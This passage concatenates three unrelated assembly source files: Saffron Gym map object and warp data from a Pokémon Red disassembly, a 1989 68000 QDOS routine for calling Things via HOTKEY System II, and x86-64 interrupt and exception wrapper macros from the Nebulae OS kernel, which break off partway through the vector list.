object SPRITE_MEDIUM, 3, 7, STAY, DOWN, 4, OPP_CHANNELER, 23
object SPRITE_BUG_CATCHER, 17, 7, STAY, DOWN, 5, OPP_PSYCHIC_TR, 2
object SPRITE_MEDIUM, 3, 13, STAY, DOWN, 6, OPP_CHANNELER, 24
object SPRITE_BUG_CATCHER, 17, 13, STAY, DOWN, 7, OPP_PSYCHIC_TR, 3
object SPRITE_BUG_CATCHER, 3, 1, STAY, DOWN, 8, OPP_PSYCHIC_TR, 4
object SPRITE_GYM_HELPER, 10, 15, STAY, DOWN, 9 ; person
; warp-to
warp_to 8, 17, SAFFRON_GYM_WIDTH
warp_to 9, 17, SAFFRON_GYM_WIDTH
warp_to 1, 3, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 5, 3, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 1, 5, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 5, 5, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 1, 9, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 5, 9, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 1, 11, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 5, 11, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 1, 15, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 5, 15, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 1, 17, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 5, 17, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 9, 3, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 11, 3, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 9, 5, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 11, 5, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 11, 11, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 11, 15, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 15, 3, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 19, 3, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 15, 5, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 19, 5, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 15, 9, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 19, 9, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 15, 11, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 19, 11, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 15, 15, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 19, 15, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 15, 17, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
warp_to 19, 17, SAFFRON_GYM_WIDTH ; SAFFRON_GYM
|
; Use Thing Utility through HOTKEY System II
; Copyright 1989 Jochen Merz
section utility
xdef ut_thjmp
xref ut_thvec
include dev8_keys_qdos_sms
include dev8_keys_thg
include dev8_keys_err
include dev8_keys_sys
;+++
; Use Thing Utility through HOTKEY System II.
; Note this only works if a HOTKEY System version 2.03 or later is present.
;
; Entry Exit
; d0 function code ???
; d1-d3 parameters parameters ???
; a0-a2 parameters parameters ???
;
; Error returns: err.nimp THING does not exist
; all Thing error returns
; Condition codes set
;---
ut_thjmp
move.l a4,-(sp)
move.l d0,-(sp) ; keep Thing function code
bsr ut_thvec ; get THING vector
bne.s jmp_nimp ; there's nothing to jump to!
move.l (sp)+,d0 ; get function code
jsr (a4) ; do it
bra.s jmp_ok
jmp_nimp
addq.l #4,sp ; adjust stack
jmp_ok
move.l (sp)+,a4
tst.l d0
rts
end
|
; Copyright (c) 2003-2018 RCH3 (nebulae@nebulae.online)
; Copyright (c) 2019 Nebulae Foundation, LLC. All rights reserved.
; Copyright (c) 2006, Intel Corporation. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;==================================
bits 64
segment .text
; Our C fns
extern IsrHandler, ExceptionHandler, NMIHandler
; Exceptions/Faults/Traps
global interrupt_0x00_wrapper, interrupt_0x01_wrapper, interrupt_0x02_wrapper, interrupt_0x03_wrapper
global interrupt_0x04_wrapper, interrupt_0x05_wrapper, interrupt_0x06_wrapper, interrupt_0x07_wrapper
global interrupt_0x08_wrapper, interrupt_0x09_wrapper, interrupt_0x0A_wrapper, interrupt_0x0B_wrapper
global interrupt_0x0C_wrapper, interrupt_0x0D_wrapper, interrupt_0x0E_wrapper, interrupt_0x10_wrapper
global interrupt_0x11_wrapper, interrupt_0x12_wrapper, interrupt_0x13_wrapper, interrupt_0x14_wrapper
; Hardware / User-Defined Interrupts
global interrupt_0x20_wrapper, interrupt_0x21_wrapper, interrupt_0x22_wrapper, interrupt_0x23_wrapper
global interrupt_0x24_wrapper, interrupt_0x25_wrapper, interrupt_0x26_wrapper, interrupt_0x27_wrapper
global interrupt_0x28_wrapper, interrupt_0x29_wrapper, interrupt_0x2A_wrapper, interrupt_0x2B_wrapper
global interrupt_0x2C_wrapper, interrupt_0x2D_wrapper, interrupt_0x2E_wrapper, interrupt_0x2F_wrapper
global interrupt_0x30_wrapper, interrupt_0x31_wrapper, interrupt_0x32_wrapper, interrupt_0x33_wrapper
global interrupt_0x34_wrapper, interrupt_0x35_wrapper, interrupt_0x36_wrapper, interrupt_0x37_wrapper
global interrupt_0x38_wrapper, interrupt_0x39_wrapper, interrupt_0x3A_wrapper, interrupt_0x3B_wrapper
global interrupt_0x3C_wrapper, interrupt_0x3D_wrapper, interrupt_0x3E_wrapper, interrupt_0x3F_wrapper
global interrupt_0x40_wrapper, interrupt_0x41_wrapper, interrupt_0x42_wrapper, interrupt_0x43_wrapper
global interrupt_0x44_wrapper, interrupt_0x45_wrapper, interrupt_0x46_wrapper, interrupt_0x47_wrapper
global interrupt_0x48_wrapper, interrupt_0x49_wrapper, interrupt_0x4A_wrapper, interrupt_0x4B_wrapper
global interrupt_0x4C_wrapper, interrupt_0x4D_wrapper, interrupt_0x4E_wrapper, interrupt_0x4F_wrapper
global interrupt_0x50_wrapper, interrupt_0x51_wrapper, interrupt_0x52_wrapper, interrupt_0x53_wrapper
global interrupt_0x54_wrapper, interrupt_0x55_wrapper, interrupt_0x56_wrapper, interrupt_0x57_wrapper
global interrupt_0x58_wrapper, interrupt_0x59_wrapper, interrupt_0x5A_wrapper, interrupt_0x5B_wrapper
global interrupt_0x5C_wrapper, interrupt_0x5D_wrapper, interrupt_0x5E_wrapper, interrupt_0x5F_wrapper
global interrupt_0x60_wrapper, interrupt_0x61_wrapper, interrupt_0x62_wrapper, interrupt_0x63_wrapper
global interrupt_0x64_wrapper, interrupt_0x65_wrapper, interrupt_0x66_wrapper, interrupt_0x67_wrapper
global interrupt_0x68_wrapper, interrupt_0x69_wrapper, interrupt_0x6A_wrapper, interrupt_0x6B_wrapper
global interrupt_0x6C_wrapper, interrupt_0x6D_wrapper, interrupt_0x6E_wrapper, interrupt_0x6F_wrapper
global interrupt_0x70_wrapper, interrupt_0x71_wrapper, interrupt_0x72_wrapper, interrupt_0x73_wrapper
global interrupt_0x74_wrapper, interrupt_0x75_wrapper, interrupt_0x76_wrapper, interrupt_0x77_wrapper
global interrupt_0x78_wrapper, interrupt_0x79_wrapper, interrupt_0x7A_wrapper, interrupt_0x7B_wrapper
global interrupt_0x7C_wrapper, interrupt_0x7D_wrapper, interrupt_0x7E_wrapper, interrupt_0x7F_wrapper
global interrupt_0x80_wrapper, interrupt_0x81_wrapper, interrupt_0x82_wrapper, interrupt_0x83_wrapper
global interrupt_0x84_wrapper, interrupt_0x85_wrapper, interrupt_0x86_wrapper, interrupt_0x87_wrapper
global interrupt_0x88_wrapper, interrupt_0x89_wrapper, interrupt_0x8A_wrapper, interrupt_0x8B_wrapper
global interrupt_0x8C_wrapper, interrupt_0x8D_wrapper, interrupt_0x8E_wrapper, interrupt_0x8F_wrapper
global interrupt_0x90_wrapper, interrupt_0x91_wrapper, interrupt_0x92_wrapper, interrupt_0x93_wrapper
global interrupt_0x94_wrapper, interrupt_0x95_wrapper, interrupt_0x96_wrapper, interrupt_0x97_wrapper
global interrupt_0x98_wrapper, interrupt_0x99_wrapper, interrupt_0x9A_wrapper, interrupt_0x9B_wrapper
global interrupt_0x9C_wrapper, interrupt_0x9D_wrapper, interrupt_0x9E_wrapper, interrupt_0x9F_wrapper
global interrupt_0xA0_wrapper, interrupt_0xA1_wrapper, interrupt_0xA2_wrapper, interrupt_0xA3_wrapper
global interrupt_0xA4_wrapper, interrupt_0xA5_wrapper, interrupt_0xA6_wrapper, interrupt_0xA7_wrapper
global interrupt_0xA8_wrapper, interrupt_0xA9_wrapper, interrupt_0xAA_wrapper, interrupt_0xAB_wrapper
global interrupt_0xAC_wrapper, interrupt_0xAD_wrapper, interrupt_0xAE_wrapper, interrupt_0xAF_wrapper
global interrupt_0xB0_wrapper, interrupt_0xB1_wrapper, interrupt_0xB2_wrapper, interrupt_0xB3_wrapper
global interrupt_0xB4_wrapper, interrupt_0xB5_wrapper, interrupt_0xB6_wrapper, interrupt_0xB7_wrapper
global interrupt_0xB8_wrapper, interrupt_0xB9_wrapper, interrupt_0xBA_wrapper, interrupt_0xBB_wrapper
global interrupt_0xBC_wrapper, interrupt_0xBD_wrapper, interrupt_0xBE_wrapper, interrupt_0xBF_wrapper
global interrupt_0xC0_wrapper, interrupt_0xC1_wrapper, interrupt_0xC2_wrapper, interrupt_0xC3_wrapper
global interrupt_0xC4_wrapper, interrupt_0xC5_wrapper, interrupt_0xC6_wrapper, interrupt_0xC7_wrapper
global interrupt_0xC8_wrapper, interrupt_0xC9_wrapper, interrupt_0xCA_wrapper, interrupt_0xCB_wrapper
global interrupt_0xCC_wrapper, interrupt_0xCD_wrapper, interrupt_0xCE_wrapper, interrupt_0xCF_wrapper
global interrupt_0xD0_wrapper, interrupt_0xD1_wrapper, interrupt_0xD2_wrapper, interrupt_0xD3_wrapper
global interrupt_0xD4_wrapper, interrupt_0xD5_wrapper, interrupt_0xD6_wrapper, interrupt_0xD7_wrapper
global interrupt_0xD8_wrapper, interrupt_0xD9_wrapper, interrupt_0xDA_wrapper, interrupt_0xDB_wrapper
global interrupt_0xDC_wrapper, interrupt_0xDD_wrapper, interrupt_0xDE_wrapper, interrupt_0xDF_wrapper
global interrupt_0xE0_wrapper, interrupt_0xE1_wrapper, interrupt_0xE2_wrapper, interrupt_0xE3_wrapper
global interrupt_0xE4_wrapper, interrupt_0xE5_wrapper, interrupt_0xE6_wrapper, interrupt_0xE7_wrapper
global interrupt_0xE8_wrapper, interrupt_0xE9_wrapper, interrupt_0xEA_wrapper, interrupt_0xEB_wrapper
global interrupt_0xEC_wrapper, interrupt_0xED_wrapper, interrupt_0xEE_wrapper, interrupt_0xEF_wrapper
global interrupt_0xF0_wrapper, interrupt_0xF1_wrapper, interrupt_0xF2_wrapper, interrupt_0xF3_wrapper
global interrupt_0xF4_wrapper, interrupt_0xF5_wrapper, interrupt_0xF6_wrapper, interrupt_0xF7_wrapper
global interrupt_0xF8_wrapper, interrupt_0xF9_wrapper, interrupt_0xFA_wrapper, interrupt_0xFB_wrapper
global interrupt_0xFC_wrapper, interrupt_0xFD_wrapper, interrupt_0xFE_wrapper, interrupt_0xFF_wrapper
; nebulae segment register gdt index values
; DPL0_DATA_WRITEABLE 0x100
; DPL0_CODE_READABLE 0x108
; DPL0_CODE64_READABLE 0x110
; DPL3_DATA_WRITEABLE 0x118
; DPL3_CODE_READABLE 0x120
; DPL3_CODE64_READABLE 0x128
; CPU0_TSS_INDEX_GDT 0x130
%macro create_exception_handler 2
save_context
load_interrupt_context_seg_regs
mov rcx, %1 ; Exception # in rcx (msabi arg1)
mov rdx, 0 ; No error code for these exceptions
push rsp ; push two copies of rsp
push qword [rsp]
and qword rsp, -0x10 ; align the stack to 16 bytes
push qword %1 ; rcx shadow space
push qword 0 ; rdx shadow space
push qword 0 ; r8 shadow space
push qword 0 ; r9 shadow space
call %2 ; call the specified c function
pop rsp ; pop c stack
mov qword rsp, [rsp + 8] ; restore our stack
restore_context
bounce
%endmacro
%macro create_exception_handler_with_error_code 2
save_context
load_interrupt_context_seg_regs
mov rcx, %1 ; Exception # in rcx (msabi arg1)
pop rdx ; Pop error code off the stack into rdx (msabi64 arg2)
push rsp ; push two copies of rsp
push qword [rsp]
and qword rsp, -0x10 ; align the stack to 16 bytes
push qword %1 ; rcx shadow space
push rdx ; rdx shadow space
push qword 0 ; r8 shadow space
push qword 0 ; r9 shadow space
call %2 ; call the specified c function
pop rsp ; pop c stack
mov qword rsp, [rsp + 8] ; restore our stack
restore_context
bounce
%endmacro
%macro isr_entrypoint 2
save_context
load_interrupt_context_seg_regs
mov rcx, %1 ; Interrupt # in rcx (msabi arg1)
push rsp ; push two copies of rsp
push qword [rsp]
and qword rsp, -0x10 ; align the stack to 16 bytes
push qword %1 ; rcx shadow space
push qword 0 ; rdx shadow space
push qword 0 ; r8 shadow space
push qword 0 ; r9 shadow space
call %2 ; call the specified c function
pop rsp ; pop c stack
mov qword rsp, [rsp + 8] ; restore our stack
restore_context
bounce
%endmacro
%macro save_context 0
save_regs
save_seg_regs
%endmacro
%macro restore_context 0
restore_seg_regs
restore_regs
%endmacro
%macro save_context_with_fp 0
save_regs
save_fpstate
save_seg_regs
%endmacro
%macro restore_context_with_fp 0
restore_seg_regs
restore_fpstate
restore_regs
%endmacro
%macro save_regs 0
push rax
push rcx
push rdx
push r8
push r9
push r10
push r11
%endmacro
%macro restore_regs 0
; restore regular regs
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rax
%endmacro
%macro save_fpstate 0
; floating point state
; allocate 512 bytes on the stack
mov rax, rsp
sub rsp, 512
fxsave [rax]
%endmacro
%macro restore_fpstate 0
; restore floating point state
; skip over the 512 byte xsave/xrstor
add rsp, 512
fxrstor [rsp]
%endmacro
%macro save_seg_regs 0
xor rax, rax
mov ax, ds
push rax
xor rax, rax
mov ax, es
push rax
xor rax, rax
mov ax, fs
push rax
xor rax, rax
mov ax, gs
push rax
%endmacro
%macro restore_seg_regs 0
; restore the segment registers
pop rax ; gs
mov gs, ax
pop rax ; fs
mov fs, ax
pop rax ; es
mov es, ax
pop rax ; ds
mov ds, ax
%endmacro
%macro load_interrupt_context_seg_regs 0
mov ax, 0x100 ; DPL0_DATA_WRITEABLE
mov ds, ax
mov es, ax ; load segments with valid selector
mov fs, ax
mov gs, ax
%endmacro
%macro bounce 0
sti
iretq
%endmacro
; Begin generic entrypoints
; Exception 0x00 (0) - Divide Error
interrupt_0x00_wrapper:
create_exception_handler 0x00, ExceptionHandler
; Exception 0x01 (1) - Debug Exception
interrupt_0x01_wrapper:
create_exception_handler 0x01, ExceptionHandler
; Interrupt 0x02 (2) - NMI Interrupt
interrupt_0x02_wrapper:
isr_entrypoint 0x02, NMIHandler
; Exception 0x03 (3) - Breakpoint
interrupt_0x03_wrapper:
create_exception_handler 0x03, ExceptionHandler
; Exception 0x04 (4) - Overflow
interrupt_0x04_wrapper:
create_exception_handler 0x04, ExceptionHandler
; Exception 0x05 (5) - Bound Range Exceeded
interrupt_0x05_wrapper:
create_exception_handler 0x05, ExceptionHandler
; Exception 0x06 (6) - Invalid/Undefined Opcode
interrupt_0x06_wrapper:
create_exception_handler 0x06, ExceptionHandler
; Exception 0x07 (7) - No Math Coprocessor
interrupt_0x07_wrapper:
create_exception_handler 0x07, ExceptionHandler
; Exception 0x08 (8) - Double Fault
interrupt_0x08_wrapper:
create_exception_handler_with_error_code 0x08, ExceptionHandler
; Exception 0x09 (9) - Coprocessor Segment Overrun (Reserved)
interrupt_0x09_wrapper:
create_exception_handler 0x09, ExceptionHandler
; Exception 0x0A (10) - Invalid TSS
interrupt_0x0A_wrapper:
create_exception_handler_with_error_code 0x0A, ExceptionHandler
; Exception 0x0B (11) - Segment Not Present
interrupt_0x0B_wrapper:
create_exception_handler_with_error_code 0x0B, ExceptionHandler
; Exception 0x0C (12) - Stack-Segment Fault
interrupt_0x0C_wrapper:
create_exception_handler_with_error_code 0x0C, ExceptionHandler
; Exception 0x0D (13) - General Protection Fault
interrupt_0x0D_wrapper:
create_exception_handler_with_error_code 0x0D, ExceptionHandler
; Exception 0x0E (14) - Page Fault
interrupt_0x0E_wrapper:
create_exception_handler_with_error_code 0x0E, ExceptionHandler
; Exception 0x10 (16) - x86 Floating-Point Error
interrupt_0x10_wrapper:
create_exception_handler 0x10, ExceptionHandler
; Exception 0x11 (17) - Alignment Check
interrupt_0x11_wrapper:
create_exception_handler_with_error_code 0x11, ExceptionHandler
; Exception 0x12 (18) - Machine Check
interrupt_0x12_wrapper:
create_exception_handler 0x12, ExceptionHandler
; Exception 0x13 (19) - SIMD Floating-Point
interrupt_0x13_wrapper:
create_exception_handler 0x13, ExceptionHandler
; Exception 0x14 (20) - Virtualization Exception
interrupt_0x14_wrapper:
create_exception_handler 0x14, ExceptionHandler
; Interrupt 0x20 (32) - INT32
interrupt_0x20_wrapper:
isr_entrypoint 0x20, IsrHandler
; Interrupt 0x21 (33) - INT33
interrupt_0x21_wrapper:
isr_entrypoint 0x21, IsrHandler
; Interrupt 0x22 (34) - INT34
interrupt_0x22_wrapper:
isr_entrypoint 0x22, IsrHandler
; Interrupt 0x23 (35) - INT35
interrupt_0x23_wrapper:
isr_entrypoint 0x23, IsrHandler
; Interrupt 0x24 (36) - INT36
interrupt_0x24_wrapper:
isr_entrypoint 0x24, IsrHandler
; Interrupt 0x25 (37) - INT37
interrupt_0x25_wrapper:
isr_entrypoint 0x25, IsrHandler
; Interrupt 0x26 (38) - INT38
interrupt_0x26_wrapper:
isr_entrypoint 0x26, IsrHandler
; Interrupt 0x27 (39) - INT39
interrupt_0x27_wrapper:
isr_entrypoint 0x27, IsrHandler
; Interrupt 0x28 (40) - INT40
interrupt_0x28_wrapper:
isr_entrypoint 0x28, IsrHandler
; Interrupt 0x29 (41) - INT41
interrupt_0x29_wrapper:
isr_entrypoint 0x29, IsrHandler
; Interrupt 0x2A (42) - INT42
interrupt_0x2A_wrapper:
isr_entrypoint 0x2A, IsrHandler
; Interrupt 0x2B (43) - INT43
interrupt_0x2B_wrapper:
isr_entrypoint 0x2B, IsrHandler
; Interrupt 0x2C (44) - INT44
interrupt_0x2C_wrapper:
isr_entrypoint 0x2C, IsrHandler
; Interrupt 0x2D (45) - INT45
interrupt_0x2D_wrapper:
isr_entrypoint 0x2D, IsrHandler
; Interrupt 0x2E (46) - INT46
interrupt_0x2E_wrapper:
isr_entrypoint 0x2E, IsrHandler
; Interrupt 0x2F (47) - INT47
interrupt_0x2F_wrapper:
isr_entrypoint 0x2F, IsrHandler
; Interrupt 0x30 (48) - INT48
interrupt_0x30_wrapper:
isr_entrypoint 0x30, IsrHandler
; Interrupt 0x31 (49) - INT49
interrupt_0x31_wrapper:
isr_entrypoint 0x31, IsrHandler
; Interrupt 0x32 (50) - INT50
interrupt_0x32_wrapper:
isr_entrypoint 0x32, IsrHandler
; Interrupt 0x33 (51) - INT51
interrupt_0x33_wrapper:
isr_entrypoint 0x33, IsrHandler
; Interrupt 0x34 (52) - INT52
interrupt_0x34_wrapper:
isr_entrypoint 0x34, IsrHandler
; Interrupt 0x35 (53) - INT53
interrupt_0x35_wrapper:
isr_entrypoint 0x35, IsrHandler
; Interrupt 0x36 (54) - INT54
interrupt_0x36_wrapper:
isr_entrypoint 0x36, IsrHandler
; Interrupt 0x37 (55) - INT55
interrupt_0x37_wrapper:
isr_entrypoint 0x37, IsrHandler
; Interrupt 0x38 (56) - INT56
interrupt_0x38_wrapper:
isr_entrypoint 0x38, IsrHandler
; Interrupt 0x39 (57) - INT57
interrupt_0x39_wrapper:
isr_entrypoint 0x39, IsrHandler
; Interrupt 0x3A (58) - INT58
interrupt_0x3A_wrapper:
isr_entrypoint 0x3A, IsrHandler
; Interrupt 0x3B (59) - INT59
interrupt_0x3B_wrapper:
isr_entrypoint 0x3B, IsrHandler
; Interrupt 0x3C (60) - INT60
interrupt_0x3C_wrapper:
isr_entrypoint 0x3C, IsrHandler
; Interrupt 0x3D (61) - INT61
interrupt_0x3D_wrapper:
isr_entrypoint 0x3D, IsrHandler
; Interrupt 0x3E (62) - INT62
interrupt_0x3E_wrapper:
isr_entrypoint 0x3E, IsrHandler
; Interrupt 0x3F (63) - INT63
interrupt_0x3F_wrapper:
isr_entrypoint 0x3F, IsrHandler
; Interrupt 0x40 (64) - INT64
interrupt_0x40_wrapper:
isr_entrypoint 0x40, IsrHandler
; Interrupt 0x41 (65) - INT65
interrupt_0x41_wrapper:
isr_entrypoint 0x41, IsrHandler
; Interrupt 0x42 (66) - INT66
interrupt_0x42_wrapper:
isr_entrypoint 0x42, IsrHandler
; Interrupt 0x43 (67) - INT67
interrupt_0x43_wrapper:
isr_entrypoint 0x43, IsrHandler
; Interrupt 0x44 (68) - INT68
interrupt_0x44_wrapper:
isr_entrypoint 0x44, IsrHandler
; Interrupt 0x45 (69) - INT69
interrupt_0x45_wrapper:
isr_entrypoint 0x45, IsrHandler
; Interrupt 0x46 (70) - INT70
interrupt_0x46_wrapper:
isr_entrypoint 0x46, IsrHandler
; Interrupt 0x47 (71) - INT71
interrupt_0x47_wrapper:
isr_entrypoint 0x47, IsrHandler
; Interrupt 0x48 (72) - INT72
interrupt_0x48_wrapper:
isr_entrypoint 0x48, IsrHandler
; Interrupt 0x49 (73) - INT73
interrupt_0x49_wrapper:
isr_entrypoint 0x49, IsrHandler
; Interrupt 0x4A (74) - INT74
interrupt_0x4A_wrapper:
isr_entrypoint 0x4A, IsrHandler
; Interrupt 0x4B (75) - INT75
interrupt_0x4B_wrapper:
isr_entrypoint 0x4B, IsrHandler
; Interrupt 0x4C (76) - INT76
interrupt_0x4C_wrapper:
isr_entrypoint 0x4C, IsrHandler
; Interrupt 0x4D (77) - INT77
interrupt_0x4D_wrapper:
isr_entrypoint 0x4D, IsrHandler
; Interrupt 0x4E (78) - INT78
interrupt_0x4E_wrapper:
isr_entrypoint 0x4E, IsrHandler
; Interrupt 0x4F (79) - INT79
interrupt_0x4F_wrapper:
isr_entrypoint 0x4F, IsrHandler
; Interrupt 0x50 (80) - INT80
interrupt_0x50_wrapper:
isr_entrypoint 0x50, IsrHandler
; Interrupt 0x51 (81) - INT81
interrupt_0x51_wrapper:
isr_entrypoint 0x51, IsrHandler
; Interrupt 0x52 (82) - INT82
interrupt_0x52_wrapper:
isr_entrypoint 0x52, IsrHandler
; Interrupt 0x53 (83) - INT83
interrupt_0x53_wrapper:
isr_entrypoint 0x53, IsrHandler
; Interrupt 0x54 (84) - INT84
interrupt_0x54_wrapper:
isr_entrypoint 0x54, IsrHandler
; Interrupt 0x55 (85) - INT85
interrupt_0x55_wrapper:
isr_entrypoint 0x55, IsrHandler
; Interrupt 0x56 (86) - INT86
interrupt_0x56_wrapper:
isr_entrypoint 0x56, IsrHandler
; Interrupt 0x57 (87) - INT87
interrupt_0x57_wrapper:
isr_entrypoint 0x57, IsrHandler
; Interrupt 0x58 (88) - INT88
interrupt_0x58_wrapper:
isr_entrypoint 0x58, IsrHandler
; Interrupt 0x59 (89) - INT89
interrupt_0x59_wrapper:
isr_entrypoint 0x59, IsrHandler
; Interrupt 0x5A (90) - INT90
interrupt_0x5A_wrapper:
isr_entrypoint 0x5A, IsrHandler
; Interrupt 0x5B (91) - INT91
interrupt_0x5B_wrapper:
isr_entrypoint 0x5B, IsrHandler
; Interrupt 0x5C (92) - INT92
interrupt_0x5C_wrapper:
isr_entrypoint 0x5C, IsrHandler
; Interrupt 0x5D (93) - INT93
interrupt_0x5D_wrapper:
isr_entrypoint 0x5D, IsrHandler
; Interrupt 0x5E (94) - INT94
interrupt_0x5E_wrapper:
isr_entrypoint 0x5E, IsrHandler
; Interrupt 0x5F (95) - INT95
interrupt_0x5F_wrapper:
isr_entrypoint 0x5F, IsrHandler
; Interrupt 0x60 (96) - INT96
interrupt_0x60_wrapper:
isr_entrypoint 0x60, IsrHandler
; Interrupt 0x61 (97) - INT97
interrupt_0x61_wrapper:
isr_entrypoint 0x61, IsrHandler
; Interrupt 0x62 (98) - INT98
interrupt_0x62_wrapper:
isr_entrypoint 0x62, IsrHandler
; Interrupt 0x63 (99) - INT99
interrupt_0x63_wrapper:
isr_entrypoint 0x63, IsrHandler
; Interrupt 0x64 (100) - INT100
interrupt_0x64_wrapper:
isr_entrypoint 0x64, IsrHandler
; Interrupt 0x65 (101) - INT101
interrupt_0x65_wrapper:
isr_entrypoint 0x65, IsrHandler
; Interrupt 0x66 (102) - INT102
interrupt_0x66_wrapper:
isr_entrypoint 0x66, IsrHandler
; Interrupt 0x67 (103) - INT103
interrupt_0x67_wrapper:
isr_entrypoint 0x67, IsrHandler
; Interrupt 0x68 (104) - INT104
interrupt_0x68_wrapper:
isr_entrypoint 0x68, IsrHandler
; Interrupt 0x69 (105) - INT105
interrupt_0x69_wrapper:
isr_entrypoint 0x69, IsrHandler
; Interrupt 0x6A (106) - INT106
interrupt_0x6A_wrapper:
isr_entrypoint 0x6A, IsrHandler
; Interrupt 0x6B (107) - INT107
interrupt_0x6B_wrapper:
isr_entrypoint 0x6B, IsrHandler
; Interrupt 0x6C (108) - INT108
interrupt_0x6C_wrapper:
isr_entrypoint 0x6C, IsrHandler
; Interrupt 0x6D (109) - INT109
interrupt_0x6D_wrapper:
isr_entrypoint 0x6D, IsrHandler
; Interrupt 0x6E (110) - INT110
interrupt_0x6E_wrapper:
isr_entrypoint 0x6E, IsrHandler
; Interrupt 0x6F (111) - INT111
interrupt_0x6F_wrapper:
isr_entrypoint 0x6F, IsrHandler
; Interrupt 0x70 (112) - INT112
interrupt_0x70_wrapper:
isr_entrypoint 0x70, IsrHandler
; Interrupt 0x71 (113) - INT113
interrupt_0x71_wrapper:
isr_entrypoint 0x71, IsrHandler
; Interrupt 0x72 (114) - INT114
interrupt_0x72_wrapper:
isr_entrypoint 0x72, IsrHandler
; Interrupt 0x73 (115) - INT115
interrupt_0x73_wrapper:
isr_entrypoint 0x73, IsrHandler
; Interrupt 0x74 (116) - INT116
interrupt_0x74_wrapper:
isr_entrypoint 0x74, IsrHandler
; Interrupt 0x75 (117) - INT117
interrupt_0x75_wrapper:
isr_entrypoint 0x75, IsrHandler
; Interrupt 0x76 (118) - INT118
interrupt_0x76_wrapper:
isr_entrypoint 0x76, IsrHandler
; Interrupt 0x77 (119) - INT119
interrupt_0x77_wrapper:
isr_entrypoint 0x77, IsrHandler
; Interrupt 0x78 (120) - INT120
interrupt_0x78_wrapper:
isr_entrypoint 0x78, IsrHandler
; Interrupt 0x79 (121) - INT121
interrupt_0x79_wrapper:
isr_entrypoint 0x79, IsrHandler
; Interrupt 0x7A (122) - INT122
interrupt_0x7A_wrapper:
isr_entrypoint 0x7A, IsrHandler
; Interrupt 0x7B (123) - INT123
interrupt_0x7B_wrapper:
isr_entrypoint 0x7B, IsrHandler
; Interrupt 0x7C (124) - INT124
interrupt_0x7C_wrapper:
isr_entrypoint 0x7C, IsrHandler
; Interrupt 0x7D (125) - INT125
interrupt_0x7D_wrapper:
isr_entrypoint 0x7D, IsrHandler
; Interrupt 0x7E (126) - INT126
interrupt_0x7E_wrapper:
isr_entrypoint 0x7E, IsrHandler
; Interrupt 0x7F (127) - INT127
interrupt_0x7F_wrapper:
isr_entrypoint 0x7F, IsrHandler
; Interrupt 0x80 (128) - INT128
interrupt_0x80_wrapper:
isr_entrypoint 0x80, IsrHandler
; Interrupt 0x81 (129) - INT129
interrupt_0x81_wrapper:
isr_entrypoint 0x81, IsrHandler
; Interrupt 0x82 (130) - INT130
interrupt_0x82_wrapper:
isr_entrypoint 0x82, IsrHandler
; Interrupt 0x83 (131) - INT131
interrupt_0x83_wrapper:
isr_entrypoint 0x83, IsrHandler
; Interrupt 0x84 (132) - INT132
interrupt_0x84_wrapper:
isr_entrypoint 0x84, IsrHandler
; Interrupt 0x85 (133) - INT133
interrupt_0x85_wrapper:
isr_entrypoint 0x85, IsrHandler
; Interrupt 0x86 (134) - INT134
interrupt_0x86_wrapper:
isr_entrypoint 0x86, IsrHandler
; Interrupt 0x87 (135) - INT135
interrupt_0x87_wrapper:
isr_entrypoint 0x87, IsrHandler
